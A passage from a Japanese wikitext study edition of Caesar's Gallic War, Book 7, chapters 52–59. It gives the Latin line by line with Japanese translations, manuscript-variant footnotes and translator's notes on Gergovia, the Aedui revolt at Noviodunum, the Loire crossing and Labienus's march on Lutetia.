**というのは、どこへ進み出るべきか、あるいは何がなされるべきと思われるのか、自分たちに対し自分たちで判断してしまったからだ。
*neque signo recipiendi dato constitissent 
**退却することの合図を与えられても留まりもせず、
*neque ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; tribunis militum legatisque retineri potuissent. 
**&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]たち&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;により制止されることもできなかったからだ。
*②　Exposuit quid iniquitas loci posset, quod&lt;ref&gt;quod は写本(ω)では quid となっているが、近世以降の校訂者たちは quod と修正提案している。&lt;/ref&gt; ipse ad [[w:la:Avaricum Biturigum|Avaricum]] sensisset, 
**地の利のなさがどれほど影響するのか、（カエサル）自身がアウァーリクムで判断したことを説明した。
*cum sine duce et sine equitatu deprehensis hostibus 
**将帥もなく騎兵隊もない敵たちを探し当てたときに、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#18節|18節]]～[[#19節|19節]]を参照。そのときガッリア勢は、ウェルキンゲトリークスが騎兵隊を連れて出て不在であった。）&lt;/span&gt;
*exploratam victoriam dimisisset, 
**確実であった勝利を諦めたのだ。
*ne parvum modo detrimentum in contentione propter iniquitatem loci accideret. 
**地の利のなさのために、闘いにおいてほんのわずかな損害も生じないように（勝利を諦めたのだ）。
*③　Quanto opere&lt;ref&gt;Quanto opere はα系写本の記述で、β系写本では Quantopere となっている。&lt;/ref&gt; eorum animi magnitudinem admiraretur, 
**彼ら（兵士たち）の大胆さに（カエサルが）驚嘆すればするほど、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：quanto opere ～ tanto opere …／quantopere ～ tantopere …「～すればするほど、ますます…」）&lt;/span&gt;
*quos non castrorum munitiones, non altitudo montis, non murus oppidi tardare potuisset, 
**彼らのことを（ガッリア勢の）陣営の防備も、山の高さも、[[w:オッピドゥム|城塞都市]]の城壁も妨げることができなかったのではあるが、
*tanto opere&lt;ref&gt;tanto opere はα系･T･ρ系写本の記述で、V写本では tantopere となっている。&lt;/ref&gt; licentiam arrogantiamque reprehendere, 
**それだけにますます（兵士たちの）勝手気ままさや高慢さを（カエサルは）非難する（と言った）。
*quod plus se quam imperatorem de victoria atque exitu rerum sentire existimarent; 
**というのは、自分たちが将軍（カエサル）よりも勝利と事の結末についてよく判断していると考えていたからだ。
*④　nec&lt;ref&gt;nec はα系写本の記述で、β系写本では non となっている。&lt;/ref&gt; minus se ab&lt;ref&gt;ab はα系写本の記述で、β系写本では in となっている。&lt;/ref&gt; milite modestiam et continentiam quam virtutem atque animi magnitudinem desiderare.
**自分（カエサル）は兵士たちに、武勇や大胆さよりも、慎重さや自制心を望んでいるのだ。

*:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルは兵士たちを上のように責めたが、兵士たちを統制できなかった責任は最高司令官にある。）&lt;/span&gt;

===53節===
'''カエサルとローマ軍がゲルゴウィアから撤退'''
*①　Hac habita contione et ad extremam orationem confirmatis militibus, 
**（カエサルは）このような熱弁を振るって、演説の最後に、兵士たちを元気付けた。
*ne ob hanc causam animo permoverentur 
**このような理由のために心をかき乱されないように、
*neu, quod iniquitas loci attulisset, id virtuti hostium tribuerent, 
**かつ、地の利のなさが引き起こしたことを、敵方の武勇に転嫁しないように、と。
*eadem de profectione cogitans, quae ante senserat, 
**（ゲルゴウィアからの）出発については、以前から判断していたのと同じことを考えていて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#43節|43節]]⑤項を参照。ゲルゴウィアからの撤退が敗走同然に見られないようにと、考えていたのであろう。）&lt;/span&gt;
*legiones ex castris eduxit aciemque idoneo loco constituit. 
**諸[[w:ローマ軍団|軍団]]を陣営から進発させて、適切な場所に戦列を整えた。
*②　Cum [[w:la:Vercingetorix|Vercingetorix]] nihilo minus &amp;lt; intra munitiones remaneret neque &amp;gt; in aequum locum descenderet, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]が、防備の内側に留まったばかりか、平らな場所に降りてこなかったので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：&amp;lt; intra munitiones remaneret neque &amp;gt; は、写本になく、近代に挿入提案された修正案の一つ。）&lt;/span&gt;
*levi facto equestri proelio, atque secundo, in castra exercitum reduxit. 
**軽微な騎兵戦を行なって、順調のうちに軍隊を陣営に連れ戻した。
*③　Cum hoc idem postero die fecisset, 
**翌日もこれと同じことを行なって、
*satis ad Gallicam ostentationem minuendam militumque animos confirmandos factum existimans 
**ガッリア人の誇示を弱めること、および（ローマ人）兵士の心を強固にすることが十分になされたと考えたので、
*in [[w:la:Haedui|Haeduos]] movit castra. 
**[[w:ハエドゥイ族|ハエドゥイー族]]のところに陣営を移（すために出発）した。
*④　Ne tum quidem insecutis hostibus 
**そのとき、敵方は決して追撃して来なかったので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*tertio die ad flumen [[w:la:Elaver|Elaver]] pontes&lt;ref&gt;pontes はα系写本の記述で、β系写本では pontem となっている。&lt;/ref&gt; reficit&lt;ref&gt;reficit はχ系･B･M･L･N写本の記述で、S写本では refecit となっている。&lt;/ref&gt; eoque exercitum&lt;ref&gt;eoque exercitum はα系写本の記述で、β系写本では exercitumque となっている。&lt;/ref&gt; traducit&lt;ref&gt;traducit はα系写本の記述で、β系写本では traduxit となっている。&lt;/ref&gt;.
**3日目にはエラウェル川（＝現在の[[w:アリエ川|アリエ川]]）のところで橋を再建して、そこで軍隊を渡らせた。

===54節===
'''ハエドゥイー族のエポレドリクスとウィリドマルスらがカエサルのもとから立ち去る'''
*①　Ibi a Viridomaro atque [[w:la:Eporedorix|Eporedorige]] [[w:la:Haedui|Haeduis]] appellatus discit 
**そこで（カエサルが）[[w:ハエドゥイ族|ハエドゥイー族]]の[[w:ウィリドマルス|ウィリドマルス]]と[[w:エポレドリクス|エポレドリクス]]から話しかけられて知ったことには、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#39節|39節]]～[[#40節|40節]]を参照。ウィリドマルスとエポレドリクスはカエサルの軍勢に従軍していたと思われる。）&lt;/span&gt;
*cum omni equitatu Litaviccum ad sollicitandos Haeduos profectum; 
**[[w:リタウィックス|リタウィックス]]がすべての騎兵隊とともに、ハエドゥイー族の者たちをそそのかすために出発したという。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#40節|40節]]を参照。リタウィックスは謀計が破れたので、ゲルゴウィアに逃れていた。）&lt;/span&gt;
*opus esse ipsos antecedere ad confirmandam civitatem. 
**部族の支持を固めるために、（彼ら）自身が（リタウィックスより）先行することが必須であるというのだ。
*②　Etsi multis iam rebus perfidiam Haeduorum&lt;ref&gt;perfidiam Haeduorum はα系写本の記述で、β系写本では Haeduorum perfidiam となっている。&lt;/ref&gt; Caesar&lt;ref&gt;Caesar はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; perspectam habebat 
**カエサルは、すでに多くの事により、ハエドゥイー族の背信行為を目にして来ており、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：Etsi ～, tamen …「～としても、しかしながら…」）&lt;/span&gt;
*atque horum discessu admaturari defectionem civitatis existimabat, 
**この者たちが（カエサルのもとから）立ち去ることで、（ハエドゥイー）部族の背反が一層促進されると考えていたのだが、
*tamen eos retinendos non censuit&lt;ref&gt;censuit はπ系写本の記述で、α系･ρ系写本では constituit となっている。&lt;/ref&gt;, 
**しかしながら、彼ら（2人）を束縛するべきではないと考慮した。
*ne aut inferre iniuriam videretur aut dare&lt;ref&gt;dare はα系写本の記述で、β系写本では daret となっている。&lt;/ref&gt; timoris aliquam&lt;ref&gt;timoris aliquam はα系写本の記述で、β系写本では aliquam timoris となっている。&lt;/ref&gt; suspicionem. 
**（カエサルが）無法行為を起こすと思われないように、あるいは（彼らを）怖れているという何らかの疑念を与えないように。
*③　Discedentibus his breviter sua in Haeduos merita exposuit, 
**（カエサルは）立ち去る彼らに、ハエドゥイー族における自分の功績を手短に説明した。
*quos et quam humiles accepisset, compulsos in oppida, multatos agris, 
**彼らが、どれほど無力であったのを引き受けたことか、[[w:オッピドゥム|城塞都市]]に押し込められ、耕地を台無しにされて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：et ～, et …「～でもあり、…でもある。」）&lt;/span&gt;
*omnibus ereptis sociis&lt;ref&gt;sociis「同盟者たち」 はβ系写本の記述で、α系写本では copiis「軍勢」となっている。&lt;/ref&gt;, imposito stipendio, obsidibus summa cum contumelia extortis, 
**すべての同盟者たちを奪い取られ、貢物を課せられて、たいへんな侮辱とともに人質をもぎ取られていたことか。
*④　et quam in fortunam quamque in amplitudinem deduxisset, 
**かつ、どれほどの境遇に、どれほどの高位に（カエサルが）引き上げもしたことか。
*ut non solum in pristinum statum redissent, 
**その結果（ハエドゥイー族は）かつての地位に戻っただけでなく、
*sed omnium temporum dignitatem et gratiam antecessisse viderentur. 
**（以前の）あらゆる時期の品格や信望をも越えていると思われる。
*His datis mandatis eos ab se dimisit.
**このような訓示を与えて、彼ら（2人）を自分のもとから送り出した。

===55節===
'''エポレドリクスとウィリドマルスらがローマの拠点ノウィオドゥーヌムで寝返る'''
[[画像:Nevers_-_Vue_depuis_la_rive_sud_de_la_Loire.jpg|thumb|center|700px|ノウィオドゥーヌム（[[w:la:Nivernum|Noviodunum]]）＝現･[[w:ヌヴェール|ヌヴェール]]（[[w:fr:Nevers|Nevers]]）における、リゲル川（[[w:la:Liger|Liger]]）＝現･[[w:ロワール川|ロワール川]]（[[w:fr:Loire (fleuve)|Loire]]）の岸辺の景観]]

*①　[[w:la:Nivernum|Noviodunum]] erat oppidum [[w:la:Haedui|Haeduorum]] ad ripas [[w:la:Liger|Ligeris]] opportuno loco positum. 
**ノウィオドゥーヌムは、[[w:ハエドゥイ族|ハエドゥイー族]]の[[w:オッピドゥム|城塞都市]]で、リゲル川（現[[w:ロワール川|ロワール川]]）岸の好都合な所に位置していた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：『ガリア戦記』には同名の都市が計3か所載っているが、こちらは現在の[[w:ヌヴェール|ヌヴェール]] Nevers である。&lt;br&gt;　　　　「[[ガリア戦記/ガリア語の名前#Nouio-dūnon|ガリア語の名前 #Nouio-dūnon]]」を参照せよ。）&lt;/span&gt;
*②　Huc Caesar omnes obsides Galliae, frumentum, pecuniam publicam, 
**ここに、カエサルは、ガッリアのすべての人質たちや、糧食、公金、
*suorum atque exercitus impedimentorum magnam partem contulerat; 
**および自分と軍隊の[[w:輜重|輜重]]の大部分を運び集めていた。
*③　huc magnum numerum equorum huius belli causa in [[w:la:Italia|Italia]] atque [[w:la:Hispania|Hispania]] coemptum miserat. 
**ここに、この戦争のためにイタリアと[[w:ヒスパニア|ヒスパニア]]から買い集めた馬匹の多数を送っておいた。
*④　Eo cum [[w:la:Eporedorix|Eporedorix]] Viridomarusque venissent et de statu civitatis cognovissent, 
**そこに、[[w:エポレドリクス|エポレドリクス]]と[[w:ウィリドマルス|ウィリドマルス]]がやって来て、（以下のような）部族の情勢について察知したときに、

[[画像:Bibracte333_crop.JPG|thumb|right|400px|[[w:ビブラクテ|ビブラクテ]]の[[w:オッピドゥム|城塞都市]]跡に整備された城壁の遺構]]

*Litaviccum [[w:la:Bibracte|Bibracti]] ab Haeduis receptum, 
**（すなわち）リタウィックスが、ハエドゥイー族の者たちによって[[w:ビブラクテ|ビブラクテ]]に迎え入れられ、
*─ quod est oppidum apud eos maximae auctoritatis ─, 
**それ（ビブラクテ）は彼ら（ハエドゥイー族）のもとで最大の影響力を持つ城塞都市であるが、
*Convictolitavem&lt;ref&gt;Convictolitavem はβ系･N写本の記述で、χ系･B･M･S･L写本では Convictolitabim となっている。&lt;/ref&gt; magistratum magnamque partem senatus ad eum convenisse, 
**統領コンウィクトリタウィスと評議会の大半の者たちが彼（リタウィックス）のもとへ参集し、
*legatos ad [[w:la:Vercingetorix|Vercingetorigem]] de pace et&lt;ref&gt;et は α系･U写本の記述で、π系･R写本では et de となっている。&lt;/ref&gt; amicitia concilianda publice missos, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]のところへ和平と友好を仲介するべく公けに使節たちが遣わされた（ことを知った）ので、
*non praetermittendum instans&lt;ref&gt;instans はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; tantum commodum existimaverunt. 
**（エポレドリクスとウィリドマルスは）眼前にあるこれほどの好機を放置するべきではないと考えたのだ。
*⑤　Itaque interfectis Novioduni custodibus quique eo negotiandi aut itineris&lt;ref&gt;aut itineris はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; causa convenerant, 
**こうして（2人は）ノウィオドゥーヌムの（ローマ側の）番兵たちや商用や旅行のために来訪していた者たちを殺害し、
*pecuniam atque equos inter se partiti sunt; 
**金銭および馬匹を互いに分け合った。
*⑥　obsides civitatum Bibracte ad magistratum deducendos curaverunt; 
**（ガッリアの）部族の人質たちをビブラクテの統領のところへ連れて行くように手配した。
*⑦　oppidum, quod a&lt;ref&gt;a はα系写本の記述で、β系写本では ab となっている。&lt;/ref&gt; se teneri non posse iudicabant, 
**（ノウィオドゥーヌムの）城塞都市は、自分たちによって固守することはできないと判断したので、
*ne cui esset usui Romanis, incenderunt; 
**ローマ人たちの有益になることがないように、焼き打ちした。
*⑧　frumenti quod subito potuerunt navibus avexerunt, 
**糧食のうち、急いで（運ぶことが）できるものを船団で運び去って、
*reliquum flumine atque incendio corruperunt. 
**残りのものを川（に流すこと）により、および焼き打ちにより、役立たないようにした。
*⑨　Ipsi ex finitimis regionibus copias cogere, 
**（彼ら）自身は、近隣の地方から軍勢を徴集して、
*praesidia custodiasque ad ripas Ligeris disponere 
**リゲルの川岸のたもとへ守備隊や番兵を分配して、
*equitatumque omnibus locis iniciendi timoris causa ostentare coeperunt, 
**（ローマ人に）恐怖（の感情）を起こさせるために、[[w:騎兵|騎兵隊]]に誇示をさせ始めた。
*si ab re frumentaria Romanos excludere 
**もし、ローマ人たちが糧食調達することを阻止するなら、
*† aut adductos inopia in provincia&lt;ref&gt;in provincia は、α系写本では ex provincia「属州から」、β系写本では provincia となっているが、コンスタン Constans やクロッツ A.Klotz らにより in provincia「属州に」と修正提案されている。&lt;/ref&gt; expellere&lt;ref&gt;expellere「駆逐する」 はα系写本の記述で、β系写本では excludere「阻止する、妨げる」 となっている。&lt;/ref&gt; † possent. 
**あるいは（糧食などの）欠乏により、属州に駆逐することができるなら、と。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：† ～ † は、写本の文章が崩れて校訂者を迷わせていることを表す記号。修正提案されている。）&lt;/span&gt;
*⑩　Quam ad spem multum eos adiuvabat, 
**そのような希望へ、彼らを大いに励まし助けたのは、
*quod Liger ex nivibus creverat, 
**リゲル川（の水位）が雪水により増したことで、
*ut omnino vado non posse transiri videretur.
**すべての浅瀬が渡らせられることができないと思われたのである。

===56節===
'''カエサルが属州へは戻らず、増水したリゲル川の渡河を敢行'''
*①　Quibus rebus cognitis Caesar maturandum sibi censuit, 
**それらの事態を知ると、カエサルは自らにとって（以下のことを）急ぐべきだと考慮した。
*si esset in perficiendis pontibus periclitandum, 
**もし、橋を造り上げる最中に（敵勢と闘うという）危険を冒すのであれば、
*ut prius, quam essent maiores eo coactae copiae, dimicaret. 
**そこに（敵方の）より多くの軍勢が集結するよりも早く闘うように（急ぐべきだと）。
*②　Nam ut commutato consilio iter in provinciam converteret, 
**なぜなら、作戦を変更して、属州（[[w:ガリア・ナルボネンシス|ガッリア・トラーンサルピーナ]]）に進路を方向転換するようにと、
*ne metu quidem&lt;ref&gt;ne metu quidem はα系写本の記述で、β系写本では nemo tunc quidem 、そのほか近代の校訂者によって修正提案が行なわれている。&lt;/ref&gt; necessario faciendum&lt;ref&gt;faciendum はβ系写本の記述で、α系写本では faciundum となっている。&lt;/ref&gt; existimabat; 
**（ガッリア勢への）怖れによって行なうことは決して必要ではない、と考えたのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*cum infamia atque indignitas rei 
**（属州に撤退するという）事の不名誉や恥辱が、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：cum ～ tum …「～であるのと同様に特に…である」）&lt;/span&gt;
*et oppositus mons Cevenna&lt;ref&gt;Cevenna はχ系･U写本の記述で、π系･R写本の記述では Cebenna、φ系写本では Cevennae となっている。&lt;/ref&gt; viarumque difficultas impediebat, 
**およびケウェンナ山地が相対して道の（通行の）困難なことが、（属州への撤退を）妨げていたし、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ケウェンナ山地 mons Cevenna は現在のセヴェンヌ山地。[[#8節|8節]]を参照。）&lt;/span&gt;
*tum maxime quod abiuncto [[w:la:Titus_Labienus|Labieno]] atque iis legionibus, quas una miserat, vehementer timebat. 
**同様に、とりわけ[[w:ティトゥス・ラビエヌス|ラビエーヌス]]と一緒に派遣していた諸[[w:ローマ軍団|軍団]]から遠ざけられて、非常に心配してもいたのだ。
*③　Itaque admodum magnis diurnis nocturnisque itineribus confectis 
**こうして、昼間も夜間も非常な強行軍を成し遂げて、
*contra omnium opinionem ad [[w:la:Liger|Ligerem]]&lt;ref&gt;Ligerem はα系写本の記述で、β系写本では Ligerim となっている。&lt;/ref&gt; venit 
**皆の予想に反して、リゲル川（＝現[[w:ロワール川|ロワール川]]）の辺りにやって来た。
*④　vadoque per equites invento pro rei necessitate opportuno, 
**事態の緊急性に見合う好都合な浅瀬を、[[w:騎兵|騎兵]]たちを通じて見出して、
*ut brachia modo atque humeri&lt;ref&gt;humeri はA･φ系･ρ系写本の記述で、Q写本では umeri となっている。&lt;/ref&gt; ad sustinenda arma liberi ab aqua esse possent, 
**やっと腕と肩を、武器を差し上げるために、水から自由になることができた。
*disposito equitatu, qui vim fluminis refringeret, 
**川の流れの圧力を妨げるべく、騎兵隊を分けて置いて、
*atque hostibus primo aspectu perturbatis, 
**敵方は（ローマ勢を）初めに一見するや狼狽していたので、
*⑤　incolumem exercitum traduxit 
**（カエサルは）軍隊を無傷のまま渡河させた。
*frumentumque in agris et pecoris copiam nactus 
**耕地の穀物、および大量の家畜を獲得して、
*repleto his rebus exercitu 
**これらの物を軍隊に補充して、
*iter in Senones facere instituit.
**セノネース族のところに行軍することを決めた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：セノネース族の方面には、副官ラビエーヌスと4個軍団を派遣していた。）&lt;/span&gt;

==ラビエーヌスのルテティア遠征==
===57節===
'''副官ラビエーヌスがルテティア制圧に向かう'''
*①　Dum haec apud Caesarem geruntur, 
**これらがカエサルのもとで遂行されている間に、
*[[w:la:Titus Labienus|Labienus]] eo supplemento, quod nuper ex Italia venerat, 
**[[w:ティトゥス・ラビエヌス|ラビエーヌス]]は、最近イタリアから来ていた補充兵（予備兵）を
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#34節|34節]]で既述のようにラビエーヌスはカエサルから4個軍団とともにガッリア北部の制圧を委ねられていた。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;また、[[#1節|1節]]で既述のようにカエサルはイタリア（属州[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]）で部隊を徴兵していた。）&lt;/span&gt;
*relicto [[w:la:Agedincum|Agedinci]], ut esset impedimentis praesidio, 
**アゲディンクムに、[[w:輜重|輜重]]にとっての守備隊となるように、残留させて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#10節|10節]]で既述のように、カエサルはアゲディンクム（現在の[[w:サンス|サンス]]）に全軍の輜重を残していた。）&lt;/span&gt;
*cum quattuor legionibus Luteciam&lt;ref&gt;Luteciam はα系写本の記述で、π系写本では Luceciam 、ρ系写本では Lucetiam となっている。[[ガリア戦記 第6巻#3節|第6巻3節]]では Lutetia(m) とも綴られている。&lt;/ref&gt; proficiscitur. 
**4個軍団とともに[[w:ルテティア|ルテティア]]に出発した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ルテティア Lutetia は写本ではルテキア Lutetia とも綴られる。[[ガリア戦記 第6巻#3節|第6巻3節]]を参照。）&lt;/span&gt;
*Id est oppidum Parisiorum, quod positum est&lt;ref&gt;quod positum est はα系写本の記述で、β系写本では単に positum となっている。&lt;/ref&gt; in insula fluminis [[w:la:Sequana|Sequanae]]. 
**それ（ルテティア）は[[w:パリシイ族|パリスィイ族]]の&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で、セクアナ川（＝現[[w:セーヌ川|セーヌ川]]）の中洲に位置している。
*②　Cuius adventu ab hostibus cognito 
**彼（ラビエーヌス）の到来が敵方により知られると、
*magnae ex finitimis civitatibus copiae convenerunt. 
**近隣の諸部族から大軍勢が集結していた。
*③　Summa imperii traditur Camulogeno Aulerco, 
**（北部ガッリア勢の）最高司令権は、[[w:アウレルキ族|アウレルキ族]]の[[w:カムロゲヌス|カムロゲヌス]]に託された。
*qui prope confectus aetate 
**その者はかなり年老いていたが、
*tamen propter singularem scientiam rei militaris ad eum est honorem evocatus. 
**けれども、彼の卓越した軍事の知識のために、顕職に召集されたのだ。
*④　Is cum animadvertisset perpetuam esse paludem, 
**彼（カムロゲヌス）は、沼地が絶え間なくあることに気付いていたので、
*quae influeret in Sequanam atque illum omnem locum magnopere impediret, 
**それはセクアナ（川）に流れ込み、かの一帯すべてを大いに近付きにくくしていたので、
*hic consedit nostrosque transitu prohibere instituit.
**ここに陣取って、我が方（ローマ勢）が渡河するのを妨げることに決めた。

===58節===
'''ラビエーヌスがメトロセドゥムを陥落させ、ルテティアのガッリア勢と対峙'''
*①　[[w:la:Titus Labienus|Labienus]] primo vineas agere, cratibus atque aggere paludem explere 
**[[w:ティトゥス・ラビエヌス|ラビエーヌス]]は初めに、&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を駆ること、柴や土砂で沼地を埋め立てること、
*atque iter munire conabatur. 
**および道を築くこと、を試みた。
*②　Postquam id difficilius confieri&lt;ref&gt;confieri はχ系･β系写本の記述で、Q写本では confici となっている。&lt;/ref&gt; animadvertit, 
**それが成し遂げられることが困難だと気付いた後で、
*silentio e castris tertia vigilia egressus 
**（敵に知られないように）静けさのうちに第三夜警時に陣営から進発して、
*eodem, quo venerat, itinere Metlosedum&lt;ref&gt;Metlosedum はコンスタン L.-A. Constans による修正で、π系･U写本では Metiosedum 、α系･ρ系写本では Mellodunum などとなっており、写本により表記がさまざまである。&lt;/ref&gt; pervenit. 
**やって来たのと同じ道程により、メトロセドゥムに到達した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：メトロセドゥム Metlosedum は、写本によりメティオセドゥム Metiosedum とも綴られ、&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;後にはメロドゥーヌム [[w:la:Melodunum|Melodunum]] として知られる。現在の[[w:ムラン|ムラン]] [[w:fr:Melun|Melun]] である。）&lt;/span&gt;
*③　Id est oppidum [[w:la:Senones|Senonum]] in insula [[w:la:Sequana|Sequanae]] positum, ut paulo ante de [[w:la:Lutetia|Lutecia]] diximus. 
**それはセノネース族の城塞都市で、少し前に[[w:ルテティア|ルテティア]]について述べたように、セクアナ川の[[w:中州|中州]]に位置している。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ルテティアすなわち現在の[[w:パリ|パリ]]の中心部に[[w:シテ島|シテ島]]や[[w:サン＝ルイ島|サン＝ルイ島]]という[[w:セーヌ川|セーヌ川]]の中州があるように、&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;現在のムランの中心部にもサン＝テティエンヌ島 [[w:fr:Île Saint-Étienne|Île Saint-Étienne]] というセーヌ川の中州がある。）&lt;/span&gt;
*④　Deprensis&lt;ref&gt;deprensis という語形はα系写本の記述で、β系写本では deprehensis となっている。&lt;/ref&gt; navibus circiter quinquaginta celeriterque coniunctis 
**約50隻の船を探し出して、速やかに結び合わせて（舟橋として）、
*atque eo militibus iniectis 
**そこに兵士たちを投入して、
*et rei novitate perterritis oppidanis, 
**事の新奇さに&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の者たちは脅えて、
*quorum magna pars erat ad bellum evocata, 
**彼ら（住民）の大部分は戦争へ徴集されていた（ため不在であった）ので、
*sine contentione oppido potitur. 
**（ラビエーヌスは）闘うことなしに（中州にあるメトロセドゥムの）城塞都市を掌握した。
*⑤　Refecto ponte, quem superioribus diebus hostes resciderant, exercitum traducit 
**それ以前の日々に敵方が破却していた橋を再建して、軍隊を（中州から対岸へ）渡らせて、
*et secundo flumine ad Luteciam iter facere coepit. 
**川に沿ってルテティアの方へ行軍を始めた。
*⑥　Hostes re cognita ab iis, qui Metlosedo&lt;ref&gt;Metlosedo はコンスタン L.-A. Constans による修正で、β系･S写本では Metiosedo 、χ系写本では Melloduno 、B･M･L･N写本では Ametlodone（あるいは Ametclodone）などとなっている。&lt;/ref&gt; fugerant, 
**敵方は、メトロセドゥムから逃げて来た者たちから事態を知って、
*Luteciam incendi pontesque eius oppidi rescindi iubent; 
**ルテティアを焼打ちすること、その城塞都市の橋を破却すること、を命じた。
*ipsi profecti a palude ad ripas&lt;ref&gt;ad ripas はχ系･B･M･L･N写本の記述で、S･Vおよびρ系写本では in ripas 、T写本では in ripa となっている。&lt;/ref&gt; Sequanae 
**彼ら自身は、沼地からセクアナの川岸へ出発して、
*e regione Luteciae contra Labieni castra considunt.
**ルテティア（の対岸）に向かってラビエーヌスの陣営に対抗して陣取った。

===59節===
'''ガッリア諸部族が迫り、ラビエーヌスが作戦変更を決断'''
*①　Iam Caesar a [[w:la:Gergovia|Gergovia]] discessisse audiebatur, 
**すでに、カエサルが[[w:ゲルゴウィア|ゲルゴウィア]]から撤退したことが聞かれていたし、
*iam de [[w:la:Haedui|Haeduorum]] defectione et secundo Galliae motu rumores adferebantur, 
**もはや、[[w:ハエドゥイ族|ハエドゥイー族]]の背反や、ガッリアの動乱の順調さについての噂がもたらされていた。
*Gallique in conloquiis 
**（当地の）ガッリア人たちは会話の中で、
*interclusum itinere et [[w:la:Liger|Ligeri]] Caesarem inopia frumenti coactum in provinciam contendisse confirmabant. 
**カエサルが行軍やリゲル（渡河）を遮られて、糧食の欠乏により属州（[[w:ガリア・ナルボネンシス|ガッリア・トラーンサルピーナ]]）に急ぐことを強いられた、と確言した。
*②　Bellovaci autem defectione Haeduorum cognita, 
**一方で、ベッロウァキ族もハエドゥイー族の背反を知って、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ベッロウァキ族は、ハエドゥイー族の仲介によりカエサルに降伏していた。[[ガリア戦記 第2巻#14節|第2巻14節]]～15節を参照。）&lt;/span&gt;
*qui iam&lt;ref&gt;qui iam は古典学者 ニコラエス・ハインシウス1世 [[w:en:Nikolaes_Heinsius_the_Elder|Nikolaes Heinsius the Elder]] による修正提案で、χ系･S･β系写本では qui 、B･M･L･N写本では quia となっている。&lt;/ref&gt; ante erant per se infideles, 
**彼ら自身もすでに以前から（カエサルやローマ人に）忠誠的でなかったが、
*manus cogere atque aperte bellum parare coeperunt. 
**手勢を徴集して、公けに戦争を準備することを始めた。
*③　Tum [[w:la:Titus Labienus|Labienus]] tanta rerum commutatione 
**そこで、[[w:ティトゥス・ラビエヌス|ラビエーヌス]]はこれほどの事態の変動により、
*longe aliud sibi capiendum consilium, atque antea senserat, intellegebat, 
**自分にとって、以前に判断していたのとはまったく別の作戦が立てられるべきだ、と考えた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：aliud ～ atque …「…とは別の～」）&lt;/span&gt;
*④　neque iam, ut aliquid adquireret proelioque hostes lacesseret, 
**もはや、何らかのものを獲得したり、敵方に戦闘を挑むようにではなく、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：neque ut ～, sed ut …「～ようにではなく、…ように」）&lt;/span&gt;
*sed ut incolumem exercitum Agedincum reduceret, cogitabat. 
**軍隊を無傷のままでアゲディンクム（＝現[[w:サンス|サンス]]）に連れ戻すように、と考えた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：アゲディンクムには輜重と守備隊が残されていた。[[#10節|10節]]・[[#57節|57節]]を参照。）&lt;/span&gt;
*⑤　Namque altera ex parte Bellovaci, 
**実際、一方の側からはベッロウァキ族が、
*quae civitas in Gallia maximam habet opinionem virtutis, instabant, 
**ガッリアにおいて武勇に最大の評判を持つその部族が、迫りつつあった。
*alteram Camulogenus parato atque instructo exercitu tenebat: 
